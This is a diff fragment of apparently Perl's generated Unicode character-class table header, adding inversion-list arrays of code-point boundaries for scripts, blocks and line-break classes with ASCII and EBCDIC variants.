+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x2135,
+	0x2139,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2183,
+	0x2185,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2C7C,
+	0x2C7E,
+	0x2CE5,
+	0x2CEB,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0xA640,
+	0xA66E,
+	0xA680,
+	0xA69C,
+	0xA722,
+	0xA770,
+	0xA771,
+	0xA788,
+	0xA78B,
+	0xA78F,
+	0xA790,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7FA,
+	0xA7FB,
+	0xAB30,
+	0xAB5B,
+	0xAB60,
+	0xAB66,
+	0xAB70,
+	0xABC0,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0x10400,
+	0x10450,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x118A0,
+	0x118E0,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CC,
+	0x1E900,
+	0x1E944
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_L_AMP__invlist[] = { /* for EBCDIC 1047 */
+	285,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
+	0x6A,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9A,
+	0x9C,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xAF,
+	0xBA,
+	0xBB,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x1BB,
+	0x1BC,
+	0x1C0,
+	0x1C4,
+	0x294,
+	0x295,
+	0x2B0,
+	0x370,
+	0x374,
+	0x376,
+	0x378,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x561,
+	0x588,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C89,
+	0x1D00,
+	0x1D2C,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1D9B,
+	0x1E00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x2135,
+	0x2139,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2183,
+	0x2185,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2C7C,
+	0x2C7E,
+	0x2CE5,
+	0x2CEB,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0xA640,
+	0xA66E,
+	0xA680,
+	0xA69C,
+	0xA722,
+	0xA770,
+	0xA771,
+	0xA788,
+	0xA78B,
+	0xA78F,
+	0xA790,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7FA,
+	0xA7FB,
+	0xAB30,
+	0xAB5B,
+	0xAB60,
+	0xAB66,
+	0xAB70,
+	0xABC0,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0x10400,
+	0x10450,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x118A0,
+	0x118E0,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CC,
+	0x1E900,
+	0x1E944
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_L_AMP__invlist[] = { /* for EBCDIC 037 */
+	281,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
+	0x6A,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9A,
+	0x9C,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAF,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x1BB,
+	0x1BC,
+	0x1C0,
+	0x1C4,
+	0x294,
+	0x295,
+	0x2B0,
+	0x370,
+	0x374,
+	0x376,
+	0x378,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x561,
+	0x588,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C89,
+	0x1D00,
+	0x1D2C,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1D9B,
+	0x1E00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x2135,
+	0x2139,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2183,
+	0x2185,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2C7C,
+	0x2C7E,
+	0x2CE5,
+	0x2CEB,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0xA640,
+	0xA66E,
+	0xA680,
+	0xA69C,
+	0xA722,
+	0xA770,
+	0xA771,
+	0xA788,
+	0xA78B,
+	0xA78F,
+	0xA790,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7FA,
+	0xA7FB,
+	0xAB30,
+	0xAB5B,
+	0xAB60,
+	0xAB66,
+	0xAB70,
+	0xABC0,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0x10400,
+	0x10450,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x118A0,
+	0x118E0,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CC,
+	0x1E900,
+	0x1E944
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_LANA_invlist[] = { /* for all charsets */
+	11,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1A20,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA0,
+	0x1AAE
+};
+
+static const UV PL_LAO_invlist[] = { /* for all charsets */
+	37,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_LATIN1_invlist[] = { /* for ASCII/Latin1 */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x80,
+	0x100
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LATIN1_invlist[] = { /* for EBCDIC 1047 */
+	55,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4,
 	0x5,
 	0x6,
+	0x7,
+	0x8,
 	0xB,
-	0xD,
-	0xE,
+	0x14,
 	0x15,
+	0x17,
+	0x18,
+	0x1A,
+	0x1C,
+	0x20,
+	0x26,
+	0x28,
+	0x2D,
+	0x30,
+	0x32,
+	0x33,
+	0x37,
+	0x38,
+	0x3C,
+	0x3E,
+	0x3F,
+	0x41,
+	0x4B,
+	0x51,
+	0x5A,
+	0x62,
+	0x6B,
+	0x70,
+	0x79,
+	0x80,
+	0x81,
+	0x8A,
+	0x91,
+	0x9A,
+	0xA1,
+	0xAA,
+	0xAD,
+	0xAE,
+	0xBD,
+	0xBE,
+	0xC0,
+	0xCA,
+	0xD0,
+	0xDA,
+	0xE0,
+	0xE1,
+	0xE2,
+	0xEA,
+	0xF0,
+	0xFA,
+	0x100
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LATIN1_invlist[] = { /* for EBCDIC 037 */
+	57,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4,
+	0x5,
+	0x6,
+	0x7,
+	0x8,
+	0xB,
+	0x14,
 	0x16,
+	0x17,
+	0x18,
+	0x1A,
+	0x1C,
+	0x20,
 	0x25,
+	0x28,
+	0x2D,
+	0x30,
+	0x32,
+	0x33,
+	0x37,
+	0x38,
+	0x3C,
+	0x3E,
+	0x3F,
+	0x41,
+	0x4B,
+	0x51,
+	0x5A,
+	0x5F,
+	0x60,
+	0x62,
+	0x6B,
+	0x70,
+	0x79,
+	0x80,
+	0x81,
+	0x8A,
+	0x91,
+	0x9A,
+	0xA1,
+	0xAA,
+	0xB0,
+	0xB1,
+	0xBA,
+	0xBC,
+	0xC0,
+	0xCA,
+	0xD0,
+	0xDA,
+	0xE0,
+	0xE1,
+	0xE2,
+	0xEA,
+	0xF0,
+	0xFA,
+	0x100
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_LATINEXTA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x100,
+	0x180
+};
+
+static const UV PL_LATINEXTADDITIONAL_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1E00,
+	0x1F00
+};
+
+static const UV PL_LATINEXTB_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x180,
+	0x250
+};
+
+static const UV PL_LATINEXTC_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2C60,
+	0x2C80
+};
+
+static const UV PL_LATINEXTD_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA720,
+	0xA800
+};
+
+static const UV PL_LATINEXTE_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xAB30,
+	0xAB70
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_LATN_invlist[] = { /* for ASCII/Latin1 */
+	75,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x5B,
+	0x61,
+	0x7B,
+	0xAA,
+	0xAB,
+	0xBA,
+	0xBB,
+	0xC0,
+	0xD7,
+	0xD8,
+	0xF7,
+	0xF8,
+	0x2B9,
+	0x2E0,
+	0x2E5,
+	0x363,
+	0x370,
+	0x485,
+	0x487,
+	0x951,
+	0x953,
+	0x10FB,
+	0x10FC,
+	0x1D00,
+	0x1D26,
+	0x1D2C,
+	0x1D5D,
+	0x1D62,
+	0x1D66,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1DBF,
+	0x1E00,
+	0x1F00,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x20F0,
+	0x20F1,
+	0x212A,
+	0x212C,
+	0x2132,
+	0x2133,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x2C60,
+	0x2C80,
+	0xA722,
+	0xA788,
+	0xA78B,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA800,
+	0xA92E,
+	0xA92F,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB65,
+	0xFB00,
+	0xFB07,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LATN_invlist[] = { /* for EBCDIC 1047 */
+	101,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
+	0x6A,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xAF,
+	0xBA,
+	0xBB,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x2B9,
+	0x2E0,
+	0x2E5,
+	0x363,
+	0x370,
+	0x485,
+	0x487,
+	0x951,
+	0x953,
+	0x10FB,
+	0x10FC,
+	0x1D00,
+	0x1D26,
+	0x1D2C,
+	0x1D5D,
+	0x1D62,
+	0x1D66,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1DBF,
+	0x1E00,
+	0x1F00,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x20F0,
+	0x20F1,
+	0x212A,
+	0x212C,
+	0x2132,
+	0x2133,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x2C60,
+	0x2C80,
+	0xA722,
+	0xA788,
+	0xA78B,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA800,
+	0xA92E,
+	0xA92F,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB65,
+	0xFB00,
+	0xFB07,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LATN_invlist[] = { /* for EBCDIC 037 */
+	97,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
+	0x6A,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAF,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x2B9,
+	0x2E0,
+	0x2E5,
+	0x363,
+	0x370,
+	0x485,
+	0x487,
+	0x951,
+	0x953,
+	0x10FB,
+	0x10FC,
+	0x1D00,
+	0x1D26,
+	0x1D2C,
+	0x1D5D,
+	0x1D62,
+	0x1D66,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1DBF,
+	0x1E00,
+	0x1F00,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x20F0,
+	0x20F1,
+	0x212A,
+	0x212C,
+	0x2132,
+	0x2133,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x2C60,
+	0x2C80,
+	0xA722,
+	0xA788,
+	0xA78B,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA800,
+	0xA92E,
+	0xA92F,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB65,
+	0xFB00,
+	0xFB07,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_LB__AI_invlist[] = { /* for ASCII/Latin1 */
+	219,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA7,
+	0xA9,
+	0xAA,
+	0xAB,
+	0xB2,
+	0xB4,
+	0xB6,
+	0xBB,
+	0xBC,
+	0xBF,
+	0xD7,
+	0xD8,
+	0xF7,
+	0xF8,
+	0x2C7,
+	0x2C8,
+	0x2C9,
+	0x2CC,
+	0x2CD,
+	0x2CE,
+	0x2D0,
+	0x2D1,
+	0x2D8,
+	0x2DC,
+	0x2DD,
+	0x2DE,
+	0x2015,
+	0x2017,
+	0x2020,
+	0x2022,
+	0x203B,
+	0x203C,
+	0x2074,
+	0x2075,
+	0x207F,
+	0x2080,
+	0x2081,
+	0x2085,
+	0x2105,
+	0x2106,
+	0x2113,
+	0x2114,
+	0x2121,
+	0x2123,
+	0x212B,
+	0x212C,
+	0x2154,
+	0x2156,
+	0x215B,
+	0x215C,
+	0x215E,
+	0x215F,
+	0x2160,
+	0x216C,
+	0x2170,
+	0x217A,
+	0x2189,
+	0x218A,
+	0x2190,
+	0x219A,
+	0x21D2,
+	0x21D3,
+	0x21D4,
+	0x21D5,
+	0x2200,
+	0x2201,
+	0x2202,
+	0x2204,
+	0x2207,
+	0x2209,
+	0x220B,
+	0x220C,
+	0x220F,
+	0x2210,
+	0x2211,
+	0x2212,
+	0x2215,
+	0x2216,
+	0x221A,
+	0x221B,
+	0x221D,
+	0x2221,
+	0x2223,
+	0x2224,
+	0x2225,
+	0x2226,
+	0x2227,
+	0x222D,
+	0x222E,
+	0x222F,
+	0x2234,
+	0x2238,
+	0x223C,
+	0x223E,
+	0x2248,
+	0x2249,
+	0x224C,
+	0x224D,
+	0x2252,
+	0x2253,
+	0x2260,
+	0x2262,
+	0x2264,
+	0x2268,
+	0x226A,
+	0x226C,
+	0x226E,
+	0x2270,
+	0x2282,
+	0x2284,
+	0x2286,
+	0x2288,
+	0x2295,
+	0x2296,
+	0x2299,
+	0x229A,
+	0x22A5,
+	0x22A6,
+	0x22BF,
+	0x22C0,
+	0x2312,
+	0x2313,
+	0x2460,
+	0x24FF,
+	0x2500,
+	0x254C,
+	0x2550,
+	0x2575,
+	0x2580,
+	0x2590,
+	0x2592,
+	0x2596,
+	0x25A0,
+	0x25A2,
+	0x25A3,
+	0x25AA,
+	0x25B2,
+	0x25B4,
+	0x25B6,
+	0x25B8,
+	0x25BC,
+	0x25BE,
+	0x25C0,
+	0x25C2,
+	0x25C6,
+	0x25C9,
+	0x25CB,
+	0x25CC,
+	0x25CE,
+	0x25D2,
+	0x25E2,
+	0x25E6,
+	0x25EF,
+	0x25F0,
+	0x2605,
+	0x2607,
+	0x2609,
+	0x260A,
+	0x260E,
+	0x2610,
+	0x2616,
+	0x2618,
+	0x2640,
+	0x2641,
+	0x2642,
+	0x2643,
+	0x2660,
+	0x2662,
+	0x2663,
+	0x2666,
+	0x2667,
+	0x2668,
+	0x2669,
+	0x266B,
+	0x266C,
+	0x266E,
+	0x266F,
+	0x2670,
+	0x269E,
+	0x26A0,
+	0x26C9,
+	0x26CD,
+	0x26D2,
+	0x26D3,
+	0x26D5,
+	0x26D8,
+	0x26DA,
+	0x26DC,
+	0x26DD,
+	0x26DF,
+	0x26E3,
+	0x26E4,
+	0x26E8,
+	0x26EA,
+	0x26EB,
+	0x26F1,
+	0x26F6,
+	0x26F7,
+	0x26FB,
+	0x26FD,
+	0x2757,
+	0x2758,
+	0x2776,
+	0x2794,
+	0x2B55,
+	0x2B5A,
+	0x3248,
+	0x3250,
+	0xFFFD,
+	0xFFFE,
+	0x1F100,
+	0x1F10D,
+	0x1F110,
+	0x1F12E,
+	0x1F130,
+	0x1F16A,
+	0x1F170,
+	0x1F1AD
+};
+
+#   endif	/* ASCII/Latin1 */
+
